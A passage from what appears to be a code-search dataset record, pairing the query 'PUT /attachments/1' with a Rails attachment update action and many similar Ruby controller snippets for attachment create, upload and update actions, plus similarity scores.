"def create\n @order_attachment = OrderAttachment.new(order_attachment_params)\n\n respond_to do |format|\n if @order_attachment.save\n format.html { redirect_to @order_attachment, notice: 'Order attachment was successfully created.' }\n format.json { render :show, status: :created, location: @order_attachment }\n else\n format.html { render :new }\n format.json { render json: @order_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:travel_post][:user_id] = current_user.id\n @travel_post = TravelPost.new(travel_post_params)\n\n respond_to do |format|\n if @travel_post.save\n if params[:travel_post_attachments].present?\n params[:travel_post_attachments]['s3'].each do |a|\n @travel_post_attachment = @travel_post.travel_post_attachments.create!(:s3 => a, :travel_post_id => @travel_post.id)\n end\n end\n format.html { redirect_to travel_posts_path, notice: 'Travel post was successfully created.' }\n format.json { render :show, status: :created, location: @travel_post }\n else\n format.html { render :new }\n format.json { render json: @travel_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @note_attachment = NoteAttachment.new(note_attachment_params)\n\n respond_to do |format|\n if @note_attachment.save\n format.html { redirect_to @note_attachment, notice: 'Note attachment was successfully created.' }\n format.json { render :show, status: :created, location: @note_attachment }\n else\n format.html { render :new }\n format.json { render json: @note_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if !user_signed_in?\n redirect_to login_path, :alert => \"You need to sign in or sign up before continuing.\"\n else\n @post = Post.new(post_params)\n @post.user = current_user\n respond_to do |format|\n if @post.save\n notifyTagUsers(@post)\n\n if params.has_key?(:post_attachments)\n params[:post_attachments]['avatar'].each do |a|\n @post_attachment = @post.post_attachments.create!(:avatar => a)\n end\n end\n\n format.html { redirect_to timeline_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n @second = Second.new(params[:second])\n\n #add attachment\n @second.attachments << Attachment.new(:source => params[:attachment]) unless params[:attachment].blank?\n\n respond_to do |format|\n if @second.save\n format.html { redirect_to @second, notice: 'Second was successfully created.' }\n format.json { render json: @second, status: :created, location: @second }\n else\n format.html { render action: \"new\" }\n format.json { render json: @second.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attachment_params\n params.require(:attachment).permit(:title, :data, :mime_type, :thumbnail, :content)\n end",
"def add_attachments(obj)\n if !email.attachments.nil? && email.attachments.size > 0\n email.attachments.each do |attachment|\n obj.attachments << Attachment.create(:container => obj,\n :file => attachment.decoded,\n :filename => attachment.filename,\n :author => user,\n :content_type => attachment.mime_type)\n end\n end\n end",
"def create\n puts params\n item_data = {\n :title => params[:title],\n :description => params[:description]\n }\n @item = current_user.items.build(item_data)\n if params[:attachments]\n params[:attachments].each do |att_id|\n @att = Attachment.find(att_id)\n @item.attachments.push(@att)\n if @att.att_type == 'photo'\n @item.photos.build(\n photo_url: @att.url\n )\n end\n end\n end\n if @item.save\n respond_to do |format|\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create item\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def add_attachments(value)\n if value.instance_of? AttachmentJson\n @attachments.push(value)\n end\n end",
"def attachment_params\n params.require(:attachment).permit(:file)\n end",
"def attachment_params\n params.require(:attachment).permit(:file)\n end",
"def add_attachments\n frm.button(:value=>\"Add Attachments\").click\n AssignmentAttachments.new(@browser)\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def new\n @attachment = Attachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @attachment }\n end\n end",
"def add_attachments\n frm.button(:name=>\"attach\").click\n AssignmentAttachments.new(@browser)\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n if params[:project_attachments]\n params[:project_attachments].each do |a|\n # logger.debug \"New attachment: #{a}\"\n @project_attachment = @project.project_attachments.create!(attachment: a)\n end\n end\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rent_post = RentPost.new(rent_post_params)\n # @post_attachment = @rent_post.post_attachments.build\n\n respond_to do |format|\n if @rent_post.save\n if params[:post_attachments]!=nil\n params[:post_attachments]['image'].each do |a|\n @post_attachment = @rent_post.post_attachments.create!(:image => a, :rent_post_id => @rent_post.id)\n end\n else\n @post_attachment = @rent_post.post_attachments.create!(:image => nil, :rent_post_id => @rent_post.id)\n end\n format.html { redirect_to @rent_post, notice: 'Rent post was successfully created.' }\n format.json { render :show, status: :created, location: @rent_post }\n else\n format.html { render :new }\n format.json { render json: @rent_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @documentable = find_documentable\n @document = @documentable.documents.build(document_params)\n\n respond_to do |format|\n if @document.save\n format.html { redirect_to @document, notice: t('.notice', document: @document) }\n format.json\n else\n format.html { render :new }\n format.json {\n render json: @document.errors[:attachment], status: :unprocessable_entity\n }\n end\n end\n end",
"def create\n\n @attachments = []\n @programs_target_program = Programs::TargetedProgram.where(:id => params[:programs_attachment][:program_id]).first\n\n params['attachment'].each do |f|\n doc = Programs::Attachment.new\n doc.attachment = f\n doc.programs_target_program = @programs_target_program\n params[:programs_attachment][:title].present? ? doc.title = params[:programs_attachment][:title] : doc.title = f.original_filename\n doc.author = current_user.email\n doc.save\n @attachments << doc\n\n end unless params['attachment'].nil?\n\n respond_to do |format|\n format.js {}\n end\n\n\n end",
"def create\n @publication = current_user.publications.new(publication_params)\n\n respond_to do |format|\n if @publication.save\n unless params[:publication_attachments].nil?\n params[:publication_attachments]['photo'].each do |a|\n @publication_attachment = @publication.publication_attachments.create!(:photo => a)\n end\n end\n format.html { redirect_to @publication, notice: 'Publication was successfully created.' }\n format.json { render :show, status: :created, location: @publication }\n else\n format.html { render :new }\n format.json { render json: @publication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boat_attachment = BoatAttachment.new(boat_attachment_params)\n\n respond_to do |format|\n if @boat_attachment.save\n format.html { redirect_to @boat_attachment, notice: 'Boat attachment was successfully posted.' }\n format.json { render :show, status: :created, location: @boat_attachment }\n else\n format.html { render :new }\n format.json { render json: @boat_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @attachments = @pad.attachments\n @attachment = @pad.attachments.new\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @attachments }\n end\n end",
"def attachment_params\n params.fetch(:attachment).permit(:file)\n end",
"def attachment_params\n params.require(:attachment).permit(:file_id, :name)\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n \n # set current user as the creator of the attachment \n @attachment.user = User.find(current_user)\n \n #from jquery upload\n @attachment.name = params[:title] if params[:title]\n \n \n if params[:assignment_id]\n @attachment.assignment = Assignment.find(params[:assignment_id])\n @attachment.course = @attachment.assignment.course\n end\n \n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render :json => [@attachment.to_jq_upload].to_json }\n else\n format.html { render action: \"new\" }\n format.json { render :json => [{:error => \"custom_failure\"}], :status => 304 }\n end\n end\n end",
"def create \n return if params[:attachment].blank?\n\n @attachment = Attachment.new\n @attachment.uploaded_file = params[:attachment]\n @attachment.thumbnail = thumb(@attachment.data, 0.25) if @attachment.mime_type =~ /image/\n case \n when params[:publication_id]\n\t @attachment.publications << Publication.find(params[:publication_id])\n when params[:article_id]\n @attachment.articles << Article.find(params[:article_id])\n when params[:issue_id]\n @attachment.issues << Issue.find(params[:issue_id])\n end\n if @attachment.save\n\t flash[:notice] = \"Thank you for your submission...\"\n\t redirect_to :back\n else\n\t flash[:error] = \"There was a problem submitting your attachment.\"\n\t render :action => \"new\"\n end\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n\n if @attachment.model_id != nil\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to \"/#{@attachment.model_name}/#{@attachment.model_id}/edit/\", notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end \n end\n\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n if file_data.respond_to?(:read)\n @@world = file_data.read\n xml_contents = file_data.read\n elsif file_data.respond_to?(:path)\n xml_contents = File.read(file_data.path)\n else\n logger.error \"Bad file_data: #{file_data.class.name}: #{file_data.inspect}\"\n end\n\n\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to attachments_path, notice: 'Document was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @dattachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload_attachment(safebox, attachment)\n if attachment.guid.nil?\n result = @json_client.upload_file(safebox.upload_url, attachment.file_path || attachment.file, attachment.content_type, attachment.filename)\n attachment.guid = result[\"temporary_document\"][\"document_guid\"]\n end\n attachment\n end",
"def create\n\n uploaded_io = params[:new_file]\n File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|\n file.write(uploaded_io.read)\n end\n\n @attachment = @pad.attachments.new(params[:attachment])\n @attachment.name = uploaded_io.original_filename;\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to(pad_attachments_path(@pad), :notice => 'Attachment was successfully created.') }\n format.xml { render :xml => @attachment, :status => :created, :location => @attachment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_attachments_to_existing_note(note, attachments)\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to note ID #{note.id}\"\n existing_note_attachment_input(note).when_present 1\n existing_note_attachment_input(note).send_keys Utils.asset_file_path(attach.file_name)\n existing_note_attachment_delete_button(note, attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.updated_date = Time.now\n note.attachments << attach\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n @attachment.name = @attachment.file.blob.checksum\n respond_to do |format|\n if @attachment.save\n convert_to_line\n format.html { redirect_to attachment_line_list_path(@attachment), notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def attachments(params={})\n raise ArgumentError, \"Error: ids or attachment_ids must be set\" unless params[:ids] || params[:attachment_ids]\n rpc_call :attachments, params\n end",
"def create\n @teacher_attachment = TeacherAttachment.new(teacher_attachment_params)\n\n respond_to do |format|\n if @teacher_attachment.save\n format.html { redirect_to @teacher_attachment.teacher, notice: 'Teacher attachment was successfully created.' }\n format.json { render :show, status: :created, location: @teacher_attachment }\n else\n format.html { render :new }\n format.json { render json: @teacher_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_attachments_to_new_note(note, attachments)\n show_adv_note_options\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to an unsaved note\"\n new_note_attach_input_element.send_keys Utils.asset_file_path(attach.file_name)\n new_note_attachment_delete_button(attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.attachments << attach\n end\n end",
"def attachments(struct)\n struct.remapkeys!\n if struct.has_key? :user and struct.has_key? :pass\n rt = RT_Client.new(:user => struct[:user], :pass => struct[:pass])\n struct.delete(:user)\n struct.delete(:pass)\n else\n rt = RT_Client.new\n end\n rt = RT_Client.new\n val = rt.attachments(struct)\n rt = nil\n val\n end",
"def attachment_upload(id, stream, options={})\n body, headers = http_multipart_data({:id => id, :stream => stream})\n post(\"wrike.attachment.upload\", body, headers)\n end",
"def upload_supporting_documents\n validate_documents_content_type\n validate_documents_page_size\n\n claim = ClaimsApi::AutoEstablishedClaim.get_by_id_or_evss_id(params[:id])\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Resource not found') unless claim\n\n ClaimsApi::Logger.log(\n '526',\n claim_id: claim.id,\n detail: \"/attachments called with #{documents.length} #{'attachment'.pluralize(documents.length)}\"\n )\n\n documents.each do |document|\n claim_document = claim.supporting_documents.build\n claim_document.set_file_data!(document, EVSS_DOCUMENT_TYPE, params[:description])\n claim_document.save!\n ClaimsApi::ClaimUploader.perform_async(claim_document.id)\n end\n\n render json: claim, serializer: ClaimsApi::ClaimDetailSerializer, uuid: claim.id\n end",
"def create\n @design_image_attachment = DesignImageAttachment.new(design_image_attachment_params)\n\n respond_to do |format|\n if @design_image_attachment.save\n format.html { redirect_to @design_image_attachment, notice: 'Design image attachment was successfully created.' }\n format.json { render :show, status: :created, location: @design_image_attachment }\n else\n format.html { render :new }\n format.json { render json: @design_image_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @link_attachment = LinkAttachment.new(link_attachment_params)\n\n respond_to do |format|\n if @link_attachment.save\n format.html { redirect_to @link_attachment, notice: 'Link attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @link_attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @link_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attached_asset = AttachedAsset.new(params[:attached_asset])\n\n respond_to do |format|\n if @attached_asset.save\n format.html { redirect_to @attached_asset, notice: 'Attached asset was successfully created.' }\n format.json { render json: @attached_asset, status: :created, location: @attached_asset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attached_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @case = Case.new(case_params)\n\n respond_to do |format|\n if @case.save\n params[:case_attachments]['photo'].each do |a|\n @case_attachment = @case.case_attachments.create!(:photo => a, :case_id => @case.id)\n end\n format.html { redirect_to admin_cases_path, notice: \"Caso Clínico (#{@case.title}), cadastrado com sucesso!\" }\n format.json { render :show, status: :created, location: [:admin, @case] }\n else\n format.html { render :new }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_to_legacy_incoming_webhook(channel:, username:, attachments:, link_names:, icon_url:)\n @client.post(@webhook_url) do |request|\n request.headers['Content-Type'] = 'application/json'\n request.body = {\n channel: channel,\n username: username,\n icon_url: icon_url,\n attachments: attachments,\n link_names: link_names\n }.to_json\n end\n end",
"def create\n @incidentattachment = Incidentattachment.new(incidentattachment_params)\n @incidentattachment.filepath = \"N/A\"\n\n respond_to do |format|\n if @incidentattachment.save\n format.html { redirect_to @incidentattachment, notice: 'Incidentattachment was successfully created.' }\n format.json { render :show, status: :created, location: @incidentattachment }\n else\n format.html { render :new }\n format.json { render json: @incidentattachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @event = Event.find(params[:event_id])\n file = {}\n\n if params[:flash]\n file[\"name\"] = params[:Filedata].original_filename\n \n extname = File.extname(params[:Filedata].original_filename)[1..-1]\n mime_type = Mime::Type.lookup_by_extension(extname)\n params[:Filedata].content_type = mime_type.to_s unless mime_type.nil?\n\n file[\"attached\"] = params[:Filedata]\n else\n file[\"name\"] = params[:attached].original_filename\n file[\"attached\"] = params[:attached]\n end\n\n file[\"event_id\"] = @event.id\n @attached = Attached.new(file)\n \n\n respond_to do |format|\n if @attached.save\n format.html { redirect_to @event, notice: 'File was successfully uploaded.' }\n format.json { render json: @attached, status: :created, location: @attached }\n else\n format.html { render action: \"edit\"}\n format.json { render json: @attached.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n @attachment.save\n\n flash[:notice] = 'El archivo ha sido subido correctamente.'\n\n return redirect_to :action => :index\n end",
"def post(path = '/files/', params = {})\n request :post, path, params\n end",
"def add_attachments\n frm.button(:value=>/(Add|Add \\/ Remove) Attachments/).click\n AssignmentsAttachments.new(@browser)\n end",
"def create\n @cms_attachment = current_portal.cms_attachments.build(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attachment; end",
"def create\n @message = Message.new(message_params)\n @message[:external_links] = params[:message][:external_links].first.split(\"\\r\\n\").map(&:strip)\n @message.images.attach(params[:message][:images])\n @message.images.attach(params[:message][:vi_images])\n @message.images.attach(params[:message][:zh_cn_images])\n @message.images.attach(params[:message][:zh_tw_images])\n @message.images.attach(params[:message][:hmn_images])\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: \"Message was successfully created.\" }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end",
"def dispatch_create_item!(msg)\n if msg.has_attachments?\n draft = msg.draft\n msg.draft = true\n resp = validate_created_item(ews.create_item(msg.to_ews))\n msg.file_attachments.each do |f|\n next unless f.kind_of?(File)\n resp.add_file_attachment(f)\n end\n if draft\n resp.submit_attachments!\n resp\n else\n resp.submit!\n end\n else\n resp = ews.create_item(msg.to_ews)\n validate_created_item resp\n end\n end",
"def create\n @document = Document.new(document_params)\n # @document.images.attach(params[:document][:images])\n respond_to do |format|\n if @document.save\n @records = Document.all.with_attached_images\n\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @event = Event.new(event_params)\n @event.user_id = current_user.id\n\n respond_to do |format|\n if @event.save\n params[:event_attachments]['image'].each do |a|\n @event_attachment = @event.event_attachments.create!(:image => a, :event_id => @event.id)\n end\n format.html { redirect_to edit_event_path(@event), notice: 'event was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def deliver(opts = {})\n options = OpenStruct.new(opts)\n params = params_from(options)\n response = client.post(path, params, attachments: options.attachments).parsed_body\n new(response)\n end",
"def post_params\n params.require(:post).permit(:title, post_attachments_attributes: [:id, :post_id, :avatar])\n end",
"def create\n p_attr = params[:post_attachment]\n #note that the name of the file is a little different with blueimp uploader\n ttt=[]\n uuu = params[:post_attachment].first if params[:post_attachment].class == Array\n #ttt[:image]=uuu\n# uuu = []\n# uuu[:image] = ttt\n @posting=Posting.find(params[:id])\n @picture = @posting.post_attachments.build\n @picture.image=uuu\n\n if @picture.save\n respond_to do |format|\n format.html {\n render :json => [@picture.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => { :files => [@picture.to_jq_upload] }\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n\n# @post_attachment = PostAttachment.new(post_attachment_params)\n# if !@post_attachment.image.nil?\n# respond_to do |format|\n# if @post_attachment.save\n# format.html { redirect_to @post_attachment, notice: 'Post attachment was successfully created.' }\n# format.json { render :show, status: :created, location: @post_attachment }\n# else\n# format.html { render :new }\n# format.json { render json: @post_attachment.errors, status: :unprocessable_entity }\n# end\n# end\n# end\n end",
"def post_multipart(url, data, filename, headers = {})\n request(:post, url, headers, {:data => data, :file => filename, :multipart => true})\n end"
] |
[
"0.67856145",
"0.67284447",
"0.6717782",
"0.6717782",
"0.6710522",
"0.66664606",
"0.6630575",
"0.65930396",
"0.65218943",
"0.6507676",
"0.6459344",
"0.6454859",
"0.6453828",
"0.6449482",
"0.6444526",
"0.64219415",
"0.640342",
"0.6388061",
"0.63603103",
"0.6320983",
"0.6305493",
"0.63046354",
"0.62687516",
"0.6250236",
"0.62367105",
"0.62254184",
"0.6207826",
"0.6205038",
"0.61971086",
"0.618682",
"0.61827695",
"0.61743313",
"0.6169514",
"0.6150966",
"0.61423886",
"0.61411",
"0.6109793",
"0.610545",
"0.6100233",
"0.60965765",
"0.6070404",
"0.6069253",
"0.6066806",
"0.60656273",
"0.60642767",
"0.60447735",
"0.60386974",
"0.6031303",
"0.6030309",
"0.6025589",
"0.60068804",
"0.60068804",
"0.6002398",
"0.6000098",
"0.5999386",
"0.5999386",
"0.59946203",
"0.5992669",
"0.5962225",
"0.5934623",
"0.59260833",
"0.5926034",
"0.59211946",
"0.5912828",
"0.5902288",
"0.58989877",
"0.5892094",
"0.58914787",
"0.58849114",
"0.5884589",
"0.58738536",
"0.58669335",
"0.58568215",
"0.5853694",
"0.5848191",
"0.5842109",
"0.58321565",
"0.58227473",
"0.5822297",
"0.5821766",
"0.58141947",
"0.5813571",
"0.5791661",
"0.57847947",
"0.5780869",
"0.57802486",
"0.5773509",
"0.5768439",
"0.57681334",
"0.5764805",
"0.57618856",
"0.5758853",
"0.57525074",
"0.57520837",
"0.57497853",
"0.5744028",
"0.5743214",
"0.5742331",
"0.5742053",
"0.57415694"
] |
0.60018635
|
53
|
PUT /attachments/1 PUT /attachments/1.json
|
def update
@attachment = Attachment.find_by_name(params[:id])
respond_to do |format|
if @attachment.update_attributes(params[:attachment])
format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @attachment.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @document.update(document_params)\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ti_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { head :no_content }\n format.json { head :no_content }\n else\n format.html { head :no_content }\n format.json { head :no_content }\n end\n end\n end",
"def co_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n #$attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end",
"def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n end",
"def update!(**args)\n @attachments = args[:attachments] if args.key?(:attachments)\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_attachment(name)\n return unless attachments[name]\n result = JSON.parse(RestClient.put(\"#{ uri }/#{ CGI.escape(name) }#{ '?rev=' + @_rev if @_rev }\", attachments[name][:file], {:content_type => attachments[name][:content_type], :accept => 'text/json'}))\n @_rev = result['rev']\n end",
"def cc_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment.avatar = params[:file]\n $attachment.id = 1\n #$attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end",
"def update_attachments(issue, args)\n if issue.persisted?\n delete_ids = args[:delete_attachments]\n issue.attachments.in(id: delete_ids).update_all(deleted: true)\n end\n\n return if (attachments.nil? || attachments.empty?)\n\n attachments.each do |attachment|\n if attachment[:id].blank?\n new_file = issue.attachments.build\n new_file.file = attachment[:data] # <json string>\n new_file.save!\n end\n end\n end",
"def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @attachment.update(attachment_params)\n format.html { redirect_to @attachment, notice: 'Attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @attachment }\n else\n format.html { render :edit }\n format.json { render json: @attaessay_file_namechment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def si_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment_changed = true\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end",
"def of_update_attachment\n if !$attachment.nil?\n $attachment.destroy\n $attachment = Attachment.new\n end\n $attachment_changed = true\n $attachment.avatar = params[:file]\n $attachment.id = 1\n $attachment.save!\n if $attachment.save\n render json: { \"image\" => $attachment.avatar }\n else\n render json: { \"image\" => \"\" }\n end\n end",
"def update\n upload = params.require(:file)\n handler = create_handler(params[:id], upload)\n\n if handler.valid?\n render json: attachment_json(handler.call)\n else\n render json: errors_json(handler), status: :unprocessable_entity\n end\n end",
"def update\n @message_attachment = MessageAttachment.find(params[:id])\n\n respond_to do |format|\n if @message_attachment.update_attributes(params[:message_attachment])\n format.html { redirect_to @message_attachment, notice: 'Message attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @message_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n if @attachment.model_id != nil\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to \"/#{@attachment.model_name}/#{@attachment.model_id}/edit/\", notice: 'Attachment was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n else \n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end \n end\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to attachments_path, notice: 'El archivo ha sido cambiado de categoria correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @add_attachments = args[:add_attachments] if args.key?(:add_attachments)\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to(@attachment, :notice => 'Attachment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n format.html { redirect_to(@attachment, :notice => 'Attachment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @attachment = Attachment.find(params[:id])\n\n respond_to do |format|\n if @attachment.update_attributes(params[:attachment])\n flash[:notice] = 'Attachment was successfully updated.'\n format.html { redirect_to(@attachment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @event_attachment.update(event_attachment_params)\n format.html { redirect_to @event_attachment, notice: 'Event attachment was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_attachment }\n else\n format.html { render :edit }\n format.json { render json: @event_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n if params[:project_attachments]\n params[:project_attachments].each do |a|\n # logger.debug \"New attachment: #{a}\"\n @project_attachment = @project.project_attachments.create!(attachment: a)\n end\n end\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @file_upload_attachment.update(file_upload_attachment_params)\n format.html { redirect_to @file_upload_attachment, notice: 'File upload attachment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @file_upload_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @file_attachment = FileAttachment.find(params[:id])\n\n respond_to do |format|\n if @file_attachment.update_attributes(params[:file_attachment])\n flash[:notice] = 'FileAttachment was successfully updated.'\n format.html { redirect_to(@file_attachment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @file_attachment.errors, :status => :unprocessable_entity }\n end\n end\n end",
